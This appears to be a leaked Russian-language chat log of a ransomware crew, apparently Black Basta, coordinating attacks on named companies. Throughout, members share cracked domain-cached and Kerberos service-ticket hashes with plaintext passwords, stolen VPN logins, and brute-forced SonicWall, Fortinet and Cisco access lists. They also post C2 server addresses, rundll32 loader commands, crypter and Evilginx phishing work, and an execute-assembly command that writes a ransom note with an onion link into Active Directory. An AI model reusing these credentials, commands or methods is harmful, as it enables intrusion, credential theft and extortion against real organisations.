в токс тебе ещё напишу один момент

++

* `$DCC2$10240#admalexv#115e34b9a475c0662748dd2895168693:February2024`

а где безопаснее?

если тут - то напишу тет

*тут

ок

мне знакомый из второй тимы, который знает, что я работаю у тебя передал, что тебя ищет контора. У них вопросы по твоему таргетированию "дружественных стран". Я его знаю где-то с 21го года, так, что решил, что такое лучше тебе передать, на всякий случай.

А то времена сейчас очень неспокойные, они и правда из-за навальнят сейчас рвут и мечут молнии во все стороны.

Ну и ты сам знаешь - как только начинается политическая движуха - приходят к конти, перед войной уже так было

> <@usernamett:matrix.bestflowers247.online> sent a file.

3.7z

++

сек

я жду пока ты допечатаешь

конечно

Вторая команда - блэксют, роял. Чел - один из их пентестеров. Я его как "альфа" знаю, вроде "форест" ещё он же.

> <@usernamett:matrix.bestflowers247.online> ```

Он не особо распространялся - сказал "вьебали локером дружественную страну" - дословно

Контора - это ФСБ

Я знаю, что не трогаем, если бы трогали действительно - я бы не говорил с тобой сейчас об этом)

Если бы у меня была ещё конкретика я бы тебе сразу сказал.

мы в рокете общаемся

попробую токс взять, ок

На моей памяти израильская нефтянка была с кучей трастов в латинской америке

я тебе о неё говорил

неа, сейчас в оффе

он обычно позже приходит

тоже вторая работа видимо)

принято

ну так - частично

у них странная система, не как у нас

роял больше нет - они теперь blacksuit называются

это и локер и сама группа

но это всё те же люди

ну те таргеты что идут госту - обратываю я, потому что мы друзья, а те что другие его подручные делают - там какие-то свои переговорщики

хорошо

да, у него со мной процент больше потому что мы давно очень работаем вместе

но такого потока как тут нету

у него бывшие ривеловские ребята жёстко лочат

большие таргеты иногда прилетают

привет

если не секрет, какие порты лучше сканить для скринконнекта?

++

SONIC_VALID_ITEMS_REVENUE.txt

ну у соника что-то находит

пока что еще собираю домены и экспортирую мыло и пасс

> <@usernamegg:matrix.bestflowers247.online> sent a file.

никакие нестандартные портов не сканили?

> <@usernamegg:matrix.bestflowers247.online> порты 443 8080

так бро я добрался

отпишусь сразу

ну я только пару часов закончил делать

потому что для авторизации реверсил их приложение

как и для циско

чтобы вытащить запросы на авторизацию

* потому что для авторизации реверсил их впн приложение

так просто уже будет понадежней проверка на авторизацию

понял, спс)

с YY списался, уточнил все моменты

```

```

> <@usernamegg:matrix.bestflowers247.online> northamericansigns.com - по ним

> <@usernamegg:matrix.bestflowers247.online> sent a file.

да

ну по поводу DNS и так далее

что он указывает в своей морде

чтобы он мог мне правильно параметры передавать, а я в правильном формате их вычитывать

та там не в этом дело, я как понял настраивают те кто кобой пользуются, и там просто именно параметры в C2 я думал у него в морде они настраиваются

а оказываются что их руками ставят

+

`cropmark.co.nz`

скоро скачаю вот эти последние

```

> <@usernamett:matrix.bestflowers247.online> sent a file.

++

rundll32 13_443_x64.dll, EppBRInitialize

4.7z

cSfhjLILsBZKeCkRVYXZdleZOzrdQpHQZTQEDIfOljcqaQSTZR

строка дял всех файлов

interluxury.com - нужны инструкции

++

офнусь пока

* офнусь

до завтра

5file.lockers.zip

muaddib6: burrito

+

ok

```

`https://secureaccess.arvidnordquist.se/+CSCOE+/logon.html:temp:1q2w3e4r:AST-AnyConnect-Rost 30кк`

привет, новых видел да. 7 дней - понял

`4dd9f07abdf39fea2afc2e85e929ebf9`

> <@usernameww:matrix.bestflowers247.online> sent a file.

5.7z

> <@muaddib6:matrix.org> Готово инфецированием

там ниже написаны файлы и точка входа для них

++

> <@usernamett:matrix.bestflowers247.online> ```

++

> <@usernameww:matrix.bestflowers247.online> 5file.lockers.zip

lckrs.zip

++

у меня уже почти готов генератор профилей, завтра будем тестить уже во всю

DNS добавлять не буду, ибо там много параметров нужно, думаю работники легко его сами добавят

я сделаю там подпись куда его вставлять и все

otrwheel.com - блог готов

ALL DATA SIZE: ~700gb

нашли один доступ к мелкой сетке 25кк

форти

image.png

но странная история, когда нажали копировать

контрал + с

текст исчез

хорошо что сделали скрин

https://www.zoominfo.com/c/pharmacie-de-barbieux/372864667

++

принял

Ок

супер

-----

45.227.255.51

----

акки загружены в дельфин

`$krb5tgs$23$*ADMTUser$corp.amicus.com.au$MSSQLSvc/syd-admt01.corp.amicus.com.au:SQLEXPRESS*$5735E38741C4F6868E60A51930E887EF$84B13BA3324D0C770B08938C86DEA5A0CE8B1B1B584E769E52F2EA3F64CEA2955645CA7BEE062E5C69BC1B70FB7194496747E3E1024937111EF1AB441D9C95C5E0214674680562DF1008030EAB65356B1F7136FF41638511F0D73C2544885CD603B1AEF1178EF75FC82C1C2C0ACEF7B71824733B7BE8D3023B2F452A00ED3E3B08C640608D82B4BBD5308911DC84B1B8E7B00DE119942C7909A0E02140CCCD6CAC3C9B6863528ECC0601DFE08FA397463CEB4BA106AC2935D9464706DF9537349D08E3D18039C4E4916E733C98F14CF7F19C152E98A700C40C6D12CEA3891DCCAFF8549F0881301B79487E14AB8B707F7398751EBBF4D34029AA1CE007EB4FE55D9BAADAC3AB76DF2B1E0F0D958737D87CCBBDEB867283C080EDA279F1E6FEA7AE9FFBA19404B09753E28AD0F1B19F95EE0A6982A7B1767F7B74DC063FF50060F7D6E0FEAAD6495E222D40F97072A4A796ACD7CC981B539B2645AB1F57126F4C9D3F4081CED55B3A7CBF03B9C407D225BB8CEF8198FC1643D6828CDF2D645D2F0C110F2C662014000454AC6EC9B5501E360C1EF191C92B8FE0166DE48341C216C67652F6D2FB85D1ECDFED034D40051794AF6A57DE944B7ACE6048A81F73A2CDA2D066B5FE600BDFE26FF786774B09B0A339DEAF2561ECC64722060A1F010A82BA560F642E0B7F7C8580B4586B3CBA361B5CD8B2F05F0613F3636F6FBB2404C2119397F92E8931755176A5444F595BDED76666449816C5A42FECD34D1B75E97DAC10B015303A14972A52D20063016F6811E8AEFAE9FE2D0CF5B42E0F2B3E4AD57F7B16E86946523733114405EE8FAAB2091C79ABFD56F2D64554F6F4C28F000639A51C625014718C0326106F9F206202CF1D72929F5DCA64B9474B11854C6921EC0CDEF5A4D1C02ACE4CB1D6BBF93FA9E0829C6F544C2B8F50F5FD19370FA323AD39113B9546C1B9C8AA6029BA73A056849EED8334F0294B282F51F40CC8D363839E4622A2876380DCCC7EE497183D507AA4E975BB6B6DF9F6BC854402D2201A0EFF0DDC4801C26EAD41CF6EB991695FC67239FACF6B2652401606D4F10198FD02C7F53CF13944FB9D6C77FDD1A4F245FEA550B165B63B404675241FABB813407143C5732E0567AE6E35743CD7B75A81BAE88164C61817ABF077429CB8E26AB41D14FE40AAF7A529DC6BBEBA3214A6B8A45D2818CDCF1DC021F33FE38ECE52F71369F30B194C98BF6BAFD1643E5E4019CCAECAAB9B00557B0DB090B170422EEC941F6ED514A79BF1A5A3A05DF96EBE75A8FFBC610E590B50C99383F4AAC698091FA97DDD8285420B27339C4F15C736F712987BACBAB02F4ECF1FDED0648627A5E8E885601F5A4C0D3B28306904B321298FC7989B574A51AFFD8231EC49CE67B92A61D4D0E43F2FC17131A48AB40914273E1E1072670CD912A06B0D1EF3C8D73084603A1F9945D19906577F7759ADA3703B4AC084D9BEA1E78CF6F3CB23E8C8468E79FA020713BD6F56D7BA5C16903C9E1334B813514415E18A8B8C92CFF12264EBFF5D5E4098F5B946F991AF4955F1388DF75B5A5C9D310308DB93D6434055483D335EA2FD4DB30FC533BD702E773FE63EF6CE18C7CF0A6D053C5D5BD1312B08B8BD68A41772A0193CC3BB1F5023A87484B2739BDD7A37001534B10E9C061C3786E7BFB027269D9EBD5116E65FE46E19986EBC8AD42E3B20D31A0212ECF5FFA3EE4D176F2885F5B14F7773D4FE172ADB14F188BF75B1DF118387C0C4CE11701976ACFD9C59BECE90B50EB03E3DB53E213AE1C6779D7D69031266D41F8E5A98C47417314B5C5B0D0AE8CD026BC16362C8BA4BE29A4B73B4B33E0624BA1778E2AEB2568741D47B8592976AAF1A80A3D48BCEB0C529F9B4D3DF4712C0443E1D223A9CA9420C03E049FC2120DD7FE7DC02BB92160E52386677432B585AD48F9DC9AA29E185676D934D405CCB56DA6E3E5E8848B19A14B2D624245DF0703247AA574D5396FA47BD6D6701F5D5979D7C0B47A42D775A074D20ADDA276C06741B4DA42CDA52B413CF124D77EC46F0940E776CE4CABA9B959C6107B18232D29E596031DE5A96C58FB95795AF3D7F238D196780AC97ACF16C982AE5C332301D4DCF23A1E33E79224EEBA3199C65D357EBD6729EE3721574DFEF271A8806DAE861B83C1BAC45DDF5964185077C89468AFADFA565F00AEB3916DD27AC8287DBDB68D61965479F156F0960F5A2469594D2E608E97DB2CB6BB92910FE1E3D94BA6DF4B042CC6A28061D79FF9364E392D8526B2D920018B6BAF7E66C7330312E5C341FC005BF925E978572F73BEF2578E3F64883725FDE210F264D4FDCBEEB5CF00524C45272128CD9EC24E9E3749516D787FA9EE80C1A7C75D415D0CB282B9EF47C709A750DB7`

сек

вижу

stop my all

Beer_kekhash.txt

> <@usernameww:matrix.bestflowers247.online> sent a file.

> <@usernameboy:matrix.bestflowers247.online> $krb5tgs$23$*Administrator$BeerNet.local$...34343e:bv479x31

fairmontfcu.com

`centric:$DCC2$10240#centric#e18dca63a2ebc2d2048b7cb6a58a867b`

wms11locus!

$DCC2$10240#centric#e18dca63a2ebc2d2048b7cb6a58a867b:wms11locus!

> <@username777:matrix.bestflowers247.online> $DCC2$10240#centric#e18dca63a2ebc2d2048b7cb6a58a867b:wms11locus!

DUV_kekhash.txt

`a_ryan.schwarz:$DCC2$10240#a_ryan.schwarz#7e29580eaa80d1ba084097ea137983d1`

ремет выслали - проверяй

> <@usernamess:matrix.bestflowers247.online> `$krb5tgs$23$*ADMTUser$corp.amicus.com.au$MSSQLSvc/syd-admt01.corp.amicus.com.au:SQLEXPRESS*$5735E38741C4F6868E60A51930E887EF$84B13BA3324D0C770B08938C86DEA5A0CE8B1B1B584E769E52F2EA3F64CEA2955645CA7BEE062E5C69BC1B70FB7194496747E3E1024937111EF1AB441D9C95C5E0214674680562DF1008030EAB65356B1F7136FF41638511F0D73C2544885CD603B1AEF1178EF75FC82C1C2C0ACEF7B71824733B7BE8D3023B2F452A00ED3E3B08C640608D82B4BBD5308911DC84B1B8E7B00DE119942C7909A0E02140CCCD6CAC3C9B6863528ECC0601DFE08FA397463CEB4BA106AC2935D9464706DF9537349D08E3D18039C4E4916E733C98F14CF7F19C152E98A700C40C6D12CEA3891DCCAFF8549F0881301B79487E14AB8B707F7398751EBBF4D34029AA1CE007EB4FE55D9BAADAC3AB76DF2B1E0F0D958737D87CCBBDEB867283C080EDA279F1E6FEA7AE9FFBA19404B09753E28AD0F1B19F95EE0A6982A7B1767F7B74DC063FF50060F7D6E0FEAAD6495E222D40F97072A4A796ACD7CC981B539B2645AB1F57126F4C9D3F4081CED55B3A7CBF03B9C407D225BB8CEF8198FC1643D6828CDF2D645D2F0C110F2C662014000454AC6EC9B5501E360C1EF191C92B8FE0166DE48341C216C67652F6D2FB85D1ECDFED034D40051794AF6A57DE944B7ACE6048A81F73A2CDA2D066B5FE600BDFE26FF786774B09B0A339DEAF2561ECC64722060A1F010A82BA560F642E0B7F7C8580B4586B3CBA361B5CD8B2F05F0613F3636F6FBB2404C2119397F92E8931755176A5444F595BDED76666449816C5A42FECD34D1B75E97DAC10B015303A14972A52D20063016F6811E8AEFAE9FE2D0CF5B42E0F2B3E4AD57F7B16E86946523733114405EE8FAAB2091C79ABFD56F2D64554F6F4C28F000639A51C625014718C0326106F9F206202CF1D72929F5DCA64B9474B11854C6921EC0CDEF5A4D1C02ACE4CB1D6BBF93FA9E0829C6F544C2B8F50F5FD19370FA323AD39113B9546C1B9C8AA6029BA73A056849EED8334F0294B282F51F40CC8D363839E4622A2876380DCCC7EE497183D507AA4E975BB6B6DF9F6BC854402D2201A0EFF0DDC4801C26EAD41CF6EB991695FC67239FACF6B2652401606D4F10198FD02C7F53CF13944FB9D6C77FDD1A4F245FEA550B165B63B404675241FABB813407143C5732E0567AE6E35743CD7B75A81BAE88164C61817ABF077429CB8E26AB41D14FE40AAF7A529DC6BBEBA3214A6B8A45D2818CDCF1DC021F33FE38ECE52F71369F30B194C98BF6BAFD1643E5E4019CCAECAAB9B00557B0DB090B170422EEC941F6ED514A79BF1A5A3A05DF96EBE75A8FFBC610E590B50C99383F4AAC698091FA97DDD8285420B27339C4F15C736F712987BACBAB02F4ECF1FDED0648627A5E8E885601F5A4C0D3B28306904B321298FC7989B574A51AFFD8231EC49CE67B92A61D4D0E43F2FC17131A48AB40914273E1E1072670CD912A06B0D1EF3C8D73084603A1F9945D19906577F7759ADA3703B4AC084D9BEA1E78CF6F3CB23E8C8468E79FA020713BD6F56D7BA5C16903C9E1334B813514415E18A8B8C92CFF12264EBFF5D5E4098F5B946F991AF4955F1388DF75B5A5C9D310308DB93D6434055483D335EA2FD4DB30FC533BD702E773FE63EF6CE18C7CF0A6D053C5D5BD1312B08B8BD68A41772A0193CC3BB1F5023A87484B2739BDD7A37001534B10E9C061C3786E7BFB027269D9EBD5116E65FE46E19986EBC8AD42E3B20D31A0212ECF5FFA3EE4D176F2885F5B14F7773D4FE172ADB14F188BF75B1DF118387C0C4CE11701976ACFD9C59BECE90B50EB03E3DB53E213AE1C6779D7D69031266D41F8E5A98C47417314B5C5B0D0AE8CD026BC16362C8BA4BE29A4B73B4B33E0624BA1778E2AEB2568741D47B8592976AAF1A80A3D48BCEB0C529F9B4D3DF4712C0443E1D223A9CA9420C03E049FC2120DD7FE7DC02BB92160E52386677432B585AD48F9DC9AA29E185676D934D405CCB56DA6E3E5E8848B19A14B2D624245DF0703247AA574D5396FA47BD6D6701F5D5979D7C0B47A42D775A074D20ADDA276C06741B4DA42CDA52B413CF124D77EC46F0940E776CE4CABA9B959C6107B18232D29E596031DE5A96C58FB95795AF3D7F238D196780AC97ACF16C982AE5C332301D4DCF23A1E33E79224EEBA3199C65D357EBD6729EE3721574DFEF271A8806DAE861B83C1BAC45DDF5964185077C89468AFADFA565F00AEB3916DD27AC8287DBDB68D61965479F156F0960F5A2469594D2E608E97DB2CB6BB92910FE1E3D94BA6DF4B042CC6A28061D79FF9364E392D8526B2D920018B6BAF7E66C7330312E5C341FC005BF925E978572F73BEF2578E3F64883725FDE210F264D4FDCBEEB5CF00524C45272128CD9EC24E9E3749516D787FA9EE80C1A7C75D415D0CB282B9EF47C709A750DB7`

`$krb5tgs$23$*MsSqlServer$1300FLOWERS.local$MSSQLSvc/Server07.1300FLOWERS.local:1433@1300FLOWERS.LOCAL*$461B56B3997D82FF5B390B632E1DDF6A$5B0858D0036BD73E540EB4FC49CD6DB353367069A8CA2C5E96C6D70275AD02D2532E3C3CAA2304ED2973076541D794BEB6F69C1FD00F84F087756AC95E599E683D7A9506E33AA922A360B2CAFC2A0FA515C4FEF2274308E80606EF06AB64A947C8C49B70BD81DD63881324C5026FC71FFFBAB8847909F92856D3786BDF21E6CD31029B092DA5CA7FFC3E1BB860F1B76B85E5C2FFFA4F918C9B1D8F7A62224864B27452A9CD5E1B80CC0606AD8EA2B20B8604B2E3EC5C6C1FA014C160492C25593F23AC30B67A96AA262C20F3B4CEA26F3ABBF0673DD21274ECE78F499B92B072A9556937B15DCB251D0EA96B746B331B5D49F18C78B02A00C149B3F60F05B3857E706D5970FD42D10C3E5E62E3C6578EDEEFD9CEC69883F0709A48E4301827B44710D8BE926E61E553E65C5AD36D0056CF6E209A6ED8AE9DDE55FE88FD93119BF714B07AC69301469ED43423FFFB2E95B1176374F997265241A4AA43EBFC84DE0DF58DB2F1A2B419A4E899CD22BB032559B930C95B4254B8E012ECCF4DE5D69786455B51BC4E9E983FF8D54F1582BACB60B412559CC51F895B0E19D7A2BBC21D03AC6A430863DBD115EF8C1C4516F42293B1A437A757E067FC62375E4A9554A645A1C07E8C598D02BBF2AF457A8EC57757955376F66A56FE4549307F0CFAC255958A246E0F20CAC9F77117BB1A3ED84876E084B59C481D37ED3F6458598091B99476A866D258197564755965FE97D4CBCB60468DDA3199CE0FDB4F26A5AA393A4E7CDEF54B0F48D52A662C2149AEFF076D14870776552D719346E6AD65F113BA4012D70BBAA352FF2811930A97A2DF6FEAED661CF02AE93D834611824D6DB17BC809AB5C2D4F7F9EC5AB7D1C66066A8DF98C62B65775F188E66E2131FBEC8D4147ADCB6D906699E83110C1FF85671BDB6E8C1E4FBB98A7543B5D9E9884C033B3D0605B73EAF740C86B2E31038FC044AD518C6DBC43C8BE4A4BE2533A446E4D69222EAEE5F0C7CCC40C830F40777A88E97B819D1B38EF4043FE0220956FE7B83DA01BC5826014FF325C285C0B48E4DFE9ADCA39A723A5C4A9B58F82663679B00F27364D2D67043F2297E6619703D687FE8D07206271BB31393EB7DBF6ECD8C945B666F7BC644757AB9E546FCE3BD87D06A2F0EAE26F9228DDD171AA5BC613110A5DCF3C3ABB23F037C0D37D3B8728132F79F434E726CF00BD8A2060087F3404A1F217498EDDEB8ED1B3B5A81FCD5E40228D6EFAFD458C8F2828AACC90EE5E8AACE3CF171D331DA3D4F887C221A18103D8F4281C2550D254439CBD471975E72624F85769093F964A0C54D982F523025BB77F269CB8B8F294D068EC8D449B9CC083C7A5328EF246927890B1441564D7D4BC9ADB2CB7CECB7AC4897BA42A9F3952EA00DF3A39D4FBDE6941F1B594CB8EC5E40BCCFA8E8CAD16671D49940FD1F9C37DE59468E4CC34FBEF75C9961925B7AAB5DFDCDD040AE8233B6FE06EE48D85B2B3CBEA96DC505B3ACB16E6BD492AC1026937C1104D94C529585A0208ED40064E9A5FE8C1286FA6D0CFEC3D1D85AD27ACA02320FEF779FD8AE932124709EB806B41F8C7276849230A9F28672292B3C404A8E49CF66C909443E128434B3ADA4BEA9AE2D612EE217D7C3333F9169DB709D31178D3F8A00B80A29EBFEA69E61D063E740C41E1420BD825424A55682AF46FF57F04F880C2CD67EAB1FF357D9671747857A38C24424387550C07A32E136517E4635444FEAC5683879A7DCE86B9C12090150AA2F4435129E7DB6210E94B23AC562C3EE0460B0D81BA468A9BDEE7C888BF0BBE0F7A4667FB2D0C30C958752272711609CEDE4FB925D3666F4DB62A28A13C651A028BBB9AAB829304D6943F625CA9A3FFEF4F0FCDEE444662D9F5ADDCE70B93D51EC117FB7598328B1B8BE03BD9D5FC2CDAEAD6789F705EFAFED5C89811407AB7DB223A7078A8093545`

```

https://www.zoominfo.com/c/heimstaden-ab/372143691

image.png

попозже добавлю его в дельфин

`185.219.221.136:41719`

`64.176.219.106:36609`

megatron3.top ->185.224.133.13

надо поменять записи

оба сервера заменил, работают. В данный момент без флюкс доменов, жду замену

отпишу точно, сейчас вот доделываю последние штрихи

првиет

Доброе

* привет

watchguard еще такой есть впн

его собрать думаю тоже стоит

когда слал для сбора хешей, то его тоже встречал

кстати, этот фикс может больше решить проблем, чем просто коннект, посмотрим, потестим

SONIC_VALID_ITEMS_REVENUE.txt

FORTI_VALID_FROM_ALL_FILES_REVENUE.txt

FORTI_VALID_REVENUE.txt

CISCO_BRUTED_VALID_ITEMS_REVENUE.txt

```

185.219.221.136:40795 FCL

* `185.219.221.136:40795 FCL`

!

+

ага, надо доп инфру поднять, щас тогда займусь

1 чсас +- и скину длку

https://yourunitedlaws.com/mrD/{random}

линки

```

`64.176.219.106:44085 FCL FIZ`

Добрый день. Что сделать?

GetModuleProp

rundll32 file.dll, GetModuleProp

вот такой

`185.219.221.136:33473 FIZ FCL`

> <@usernamezz:matrix.bestflowers247.online> ```

14_443_x64

Добрый день!

14_443_x86

Добрый. Занимаюсь

https://www.zoominfo.com/c/samp-group/104907052

мелкая?

к впн есть доступ

но аполо показывает 150кк

d.tchounchuisampgroup.local.ovpn

yy: Привет!

ку

d.tchounchui

Нужен софт на подобие смены пасса. Запуск и запись в дискрипшен ссылки на чат и что то типа Compromised by Basta

> <@usernamess:matrix.bestflowers247.online> `$krb5tgs$23$*MsSqlServer$1300FLOWERS.local$MSSQLSvc/Server07.1300FLOWERS.local:1433@1300FLOWERS.LOCAL*$461B56B3997D82FF5B390B632E1DDF6A$5B0858D0036BD73E540EB4FC49CD6DB353367069A8CA2C5E96C6D70275AD02D2532E3C3CAA2304ED2973076541D794BEB6F69C1FD00F84F087756AC95E599E683D7A9506E33AA922A360B2CAFC2A0FA515C4FEF2274308E80606EF06AB64A947C8C49B70BD81DD63881324C5026FC71FFFBAB8847909F92856D3786BDF21E6CD31029B092DA5CA7FFC3E1BB860F1B76B85E5C2FFFA4F918C9B1D8F7A62224864B27452A9CD5E1B80CC0606AD8EA2B20B8604B2E3EC5C6C1FA014C160492C25593F23AC30B67A96AA262C20F3B4CEA26F3ABBF0673DD21274ECE78F499B92B072A9556937B15DCB251D0EA96B746B331B5D49F18C78B02A00C149B3F60F05B3857E706D5970FD42D10C3E5E62E3C6578EDEEFD9CEC69883F0709A48E4301827B44710D8BE926E61E553E65C5AD36D0056CF6E209A6ED8AE9DDE55FE88FD93119BF714B07AC69301469ED43423FFFB2E95B1176374F997265241A4AA43EBFC84DE0DF58DB2F1A2B419A4E899CD22BB032559B930C95B4254B8E012ECCF4DE5D69786455B51BC4E9E983FF8D54F1582BACB60B412559CC51F895B0E19D7A2BBC21D03AC6A430863DBD115EF8C1C4516F42293B1A437A757E067FC62375E4A9554A645A1C07E8C598D02BBF2AF457A8EC57757955376F66A56FE4549307F0CFAC255958A246E0F20CAC9F77117BB1A3ED84876E084B59C481D37ED3F6458598091B99476A866D258197564755965FE97D4CBCB60468DDA3199CE0FDB4F26A5AA393A4E7CDEF54B0F48D52A662C2149AEFF076D14870776552D719346E6AD65F113BA4012D70BBAA352FF2811930A97A2DF6FEAED661CF02AE93D834611824D6DB17BC809AB5C2D4F7F9EC5AB7D1C66066A8DF98C62B65775F188E66E2131FBEC8D4147ADCB6D906699E83110C1FF85671BDB6E8C1E4FBB98A7543B5D9E9884C033B3D0605B73EAF740C86B2E31038FC044AD518C6DBC43C8BE4A4BE2533A446E4D69222EAEE5F0C7CCC40C830F40777A88E97B819D1B38EF4043FE0220956FE7B83DA01BC5826014FF325C285C0B48E4DFE9ADCA39A723A5C4A9B58F82663679B00F27364D2D67043F2297E6619703D687FE8D07206271BB31393EB7DBF6ECD8C945B666F7BC644757AB9E546FCE3BD87D06A2F0EAE26F9228DDD171AA5BC613110A5DCF3C3ABB23F037C0D37D3B8728132F79F434E726CF00BD8A2060087F3404A1F217498EDDEB8ED1B3B5A81FCD5E40228D6EFAFD458C8F2828AACC90EE5E8AACE3CF171D331DA3D4F887C221A18103D8F4281C2550D254439CBD471975E72624F85769093F964A0C54D982F523025BB77F269CB8B8F294D068EC8D449B9CC083C7A5328EF246927890B1441564D7D4BC9ADB2CB7CECB7AC4897BA42A9F3952EA00DF3A39D4FBDE6941F1B594CB8EC5E40BCCFA8E8CAD16671D49940FD1F9C37DE59468E4CC34FBEF75C9961925B7AAB5DFDCDD040AE8233B6FE06EE48D85B2B3CBEA96DC505B3ACB16E6BD492AC1026937C1104D94C529585A0208ED40064E9A5FE8C1286FA6D0CFEC3D1D85AD27ACA02320FEF779FD8AE932124709EB806B41F8C7276849230A9F28672292B3C404A8E49CF66C909443E128434B3ADA4BEA9AE2D612EE217D7C3333F9169DB709D31178D3F8A00B80A29EBFEA69E61D063E740C41E1420BD825424A55682AF46FF57F04F880C2CD67EAB1FF357D9671747857A38C24424387550C07A32E136517E4635444FEAC5683879A7DCE86B9C12090150AA2F4435129E7DB6210E94B23AC562C3EE0460B0D81BA468A9BDEE7C888BF0BBE0F7A4667FB2D0C30C958752272711609CEDE4FB925D3666F4DB62A28A13C651A028BBB9AAB829304D6943F625CA9A3FFEF4F0FCDEE444662D9F5ADDCE70B93D51EC117FB7598328B1B8BE03BD9D5FC2CDAEAD6789F705EFAFED5C89811407AB7DB223A7078A8093545`

ща гляну

---

не удивительно что они брутятся с такими паролями

пиздец)

ок 20 минут

Есть ограничение на длинну дискрипшена?

в коде нет, но ограничение системного админа думаю есть

-----

на рдп добавили сетку битковую, там юзер админский

точно можно расковырять

https://www.zoominfo.com/c/heimstaden-ab/372143691

```

SilentLake.exe

silentlake-doc.txt

надо затестить, с локального пк я не могу получить .зеров

* надо затестить, с локального пк я не могу получить юзеров

`Your network has been breached and all data was encrypted | https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ | Login ID: 13e411e5-35f0-4138-8420-ac01d1aac25b | Waiting you in a chat`

Пролезет так?

Да, все в двойные кавычки

сделай

что

`execute-assembly SilentLake.exe -dc PDC01 -domain fcl.co -changedescription "Your network has been breached and all data was encrypted | https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ | Login ID: 13e411e5-35f0-4138-8420-ac01d1aac25b | Waiting you in a chat"`

так?

да

cltkfk ,bkl

сделал билд

щас проверяю и скину

напиши ляпису, чтобы чистил стаб

с ботом все окей, стучит

у ляписа крипт в статике палит, вакатак

image.png

Всем привет!

dropper_GG24_T_f0adda360d2b4ccda11468e026526576_MWnkl.zip

Привет. Занимаюсь

на крипт отдал, дальше доделывать генератор

```

image.png

щас ошибку уберу

SilentLake.exe

в дельфине, там аккаунт майкрософт

в азур тоже можно зайти и подписка нормальная

ты если что пиши

дельфин это антидетект браузер чтобы несколько профилей с куками можно было открывать

image.png

`64.176.219.106:45747 DGSE /// CEX`

сессия кончилась

Sophos тоже можно собрать

его больше на немецкий серверах, но на юсовских тоже много

Check Point

тоже можно собрать

Готовы х64 rundll32 dll.dll,rundtrhfd

1.7z

https://89.114.192.126/global-protect/login.esp и вот такие нужны

paloalto GlobalProtect

SONIC_BRUT_VALID.txt

соник брутится понемного

мне только нужны примеры валидных доступов от Sophos и paloalto GlobalProtect, так как не могу пока найти их впн приложение

написано, что его можно скачать как раз после авторизации в веб панеле

Готово инфецированием

2.7z

grfdECnoenPxpMUJRZVirEedvKCqHJKCGhmOILUXQENHIWMIus

строка

щас проверю

watchguard жду, так как их впн приложение разобрал, запросы на авторизацию вытащил

чисто, стучит

> <@n3auxaxl:matrix.collectionofmanager.space> Всем привет!

drps.7z

> <@usernamenn:matrix.bestflowers247.online> крутится?

> <@n3auxaxl:matrix.collectionofmanager.space> чисто, стучит

* соник брутится понемногу

* соник брутится по немногу

SONIC_BRUT_VALID.txt

atlanticbulk вот эта вроде на 50 млн

> <@burito:matrix.bestflowers247.online> sent a file.

> <@n3auxaxl:matrix.collectionofmanager.space> все чисто, все стучит

Готовы х86 rundll32 dll.dll,rundtrhfd

3.7z

ну, я про саму прогу впн

> <@usernamett:matrix.bestflowers247.online> 14_443_x64

14_443_x64.7z

+

мне чет еще кажется

чувак некачественно айпишинки собрал

это с фишлета захват сессии + куки

sonicwall_us_fofa.txt вот есть с фофа

https://en.fofa.info/result?qbase64=InNvbmljd2FsbCIgJiYgY291bnRyeT0iVVMi

я тебе рассказывал о нем

198.167.175.156 на сайте есть

в файле нет

странички для блогов надо сделать:

```

ты говорил посмотрите с ребятами как там двигаться и инфу скачать

sonicwall_us_fofa.txt у него тут их 300к, хотя на сайте написано что должно быть 1.5млн

> <@usernamegg:matrix.bestflowers247.online> Evilginx

* sonicwall\_us\_fofa.txt у него тут их 300к, хотя на сайте написано что должно быть 1.5млн юсы

у него при сборе может где ошибки есть, пусть проверит

просто можно поставить добычу на нормальный поток.. главное чтобы это можно было монетизировать

> <@usernameugway:matrix.bestflowers247.online> sent an image.

вдруг получится

++

ща

попробую обновить

пара минут

> <@usernamett:matrix.bestflowers247.online> 14_443_x86

14_443_x86.7z

CISCO_VALID_ITEMS.txt

забыл сбросить

ща, почему-то не обновляется сессия. на другом дедике она открыта - все ок

+

```

> <@usernameyy:matrix.bestflowers247.online> думаю еще дня 2 по пересылке даты и тестируем днс

++

-----

VPN.HOST.NL

------

вот еще впн нашли, только не понимаю как зайти

50кк

Afcjkm

тут их инсруткция как войти

----

кстат, он нам citrix не собирал

а то у нас только был citrix-6geo.csv

citrix тоже пусть соберет

> <@usernamegg:matrix.bestflowers247.online> sent a file.

мы проверяли утром вроде ок

я чисто для теста скину скоро пару профилей, и поставим их, проверим, все ли окей ,если да, то будем в морду с YY интегрировать

да

можешь пока все готовить, щас доделываю все уже

почти закончил

+++

на другом дедике переделали

Тарифный план: Adamantium[PT]

-----

в дельфине 2 акка помечены статусом READY

в коментах указано какая битковая сетка

* на другом дедике переделали. почему-то на первом не запускается

+

да, пусть сделает sonicwall

запрос и выдаст все что там есть на фофе

watchguard жду в первую очередь еще

`$krb5tgs$23$*Administrator$nt-domain.local$MSSQLSvc/WKECM02.nt-domain.local:1433@nt-domain.local*$B5BD2E9FFD33D290C9AA6E18FABBB8E8$B9ECCA03D6D09E1F15EDDAC55B174E1866274267D4D24F69DC6E3F56FA3AFBEA355D1357B65D283A6C2B11FD4EA988E5B35372E9B93ACB4918DB7B9328498C01B4E649548F05E147EF895361ADF1584F029142D2AC80801938FC95650070EE894C454FAEF2BC5EA1CD5F577DFD32FECD5D9D3A89D2A0BD0FF3F8FB0013A80A67D1C87AC97B6058BFCCC0AEC5189B975ED7D9E3F4A74F0C2D17BFA7FAF5E2B6CAB4416672431B4335EC2CD1611FBB4A28AF2EBE089F0C7E7A631A85FB52FB0FA22E3451C7A27661BE686AB8DBB0B30E9BEA6EC70899BA6A8249829F2773F3CE2049AC6781506FF04D848941D10A8FDDD8D3C676F3AD99443D60677D4A73EFF30878D4AA26F297916C500C8DB2174739D5130B868D1B8E6B95CBFFE3B8E4FA4446BDC23495FFBB751A5F0C23D5EA627ECB192CF23DF051BB72789D114BBEBCBF66E2A9334D9D532D4E5F0CA11C9E57676B2346A2B97F62EEF8CF25752E7FA0535E531D87BE65AD7A5DFF7AB07727DB2C508732F1622EF6C125B3C391B2E751AF73ACAECA26320410217923932681B0317BCAA157CA826D85CA16B199E3A7E9A86327022574DAE17FB3C2FFE439A99EBE206E090CFDA4E7CBD77D7FC379812DA89CF6FE99CF71714BB81BBC64404061C4AC0